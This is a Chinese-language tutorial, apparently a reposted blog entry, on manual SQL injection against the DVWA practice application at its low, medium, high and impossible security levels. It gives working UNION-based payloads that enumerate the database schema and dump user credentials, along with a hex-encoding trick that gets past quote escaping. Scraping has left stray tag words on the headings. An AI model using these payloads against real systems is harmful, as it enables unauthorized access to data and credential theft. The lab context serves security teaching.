DVWA-SQL注入

 DVWA-SQL注入mysql

1、SQL注入概念sql

SQL注入是指攻擊者經過注入惡意的SQL命令,破壞SQL查詢語句的結構,從而達到執行惡意SQL語句的目的。數據庫

2、手工注入常規思路函數

1.判斷是否存在注入,注入是字符型仍是數字型ui

2.猜解SQL查詢語句中的字段數spa

3.肯定回顯位置3d

4.獲取當前數據庫orm

5.獲取數據庫中的表blog

6.獲取表中的字段名源碼

7.獲得數據

3、DVWA注入分析

將DVWA的級別設置爲low

1.分析源碼,能夠看到沒有對參數作任何的過濾,直接帶入數據庫進行查詢,分析sql查詢語句,可能存在字符型sql注入。

  

2.判斷sql是否存在存入,以及注入的類型

1' and '1'='1

  

3.猜解SQL查詢語句中的字段數

3.1   1' order by 2#

  

3.2   1' order by 3#

  

3.3從上面兩個圖能夠說明,SQL語句查詢的表的字段數是2

4.肯定顯示的位置(SQL語句查詢以後的回顯位置)

1' union select 1,2#    #下圖能夠看出有2個回顯

  

5.查詢當前的數據庫,以及版本

1' union select version(),database()#

  

6.獲取數據庫中的表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

  

7.獲取表中的字段名

1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

  

8.得到字段中的數據

1' union select user,password from users#

  

將DVWA的級別設置爲Medium

1.下圖能夠看到中級加入了一些防護,不讓用戶輸入,只提供選擇(能夠用burpsuit抓包來繞過),分析源碼能夠看到對參數使用mysql_real_escape_string函數轉義sql語句中的一些特殊字符,查看sql查詢語句能夠看出可能存在數字型sql注入

  

  

2.經過burpsuit抓包,修改數據包,繞過防護

2.1判斷注入點,以及注入的類型,下圖能夠看到,存在注入,注入類型是數字型注入

  

2.2猜解sql查詢語句中的字段的個數,下圖說明字段的個數爲2

  

  

2.3.肯定回顯的位置,下圖能夠說明有2個回顯位置

1 union select 1,2#

  

2.4.獲取當前數據庫的名稱以及版本

1 union select database(),version()#

  

2.5獲取數據庫中的全部表

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

  

2.6獲取表中的全部字段名

考慮到單引號被轉義,能夠利用 16 進制進行繞過

union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

  

2.7獲取字段中的數據

1 union select user,password from users#

  

將DVWA的級別設置爲High

1.將dvwa設置爲高級,能夠看出,點擊」here to change your ID」,頁面自動跳轉,防護了自動化的SQL注入,分析源碼能夠看到,對參數沒有作防護,在sql查詢語句中限制了查詢條數,能夠經過burpsuit抓包,修改數據包實現繞過

  

  

   

2.2得到密碼

  

將DVWA的級別設置爲Impossible

1.分析源碼能夠看到使用了PDO技術,杜絕了SQL注入

  

相關文章
相關標籤/搜索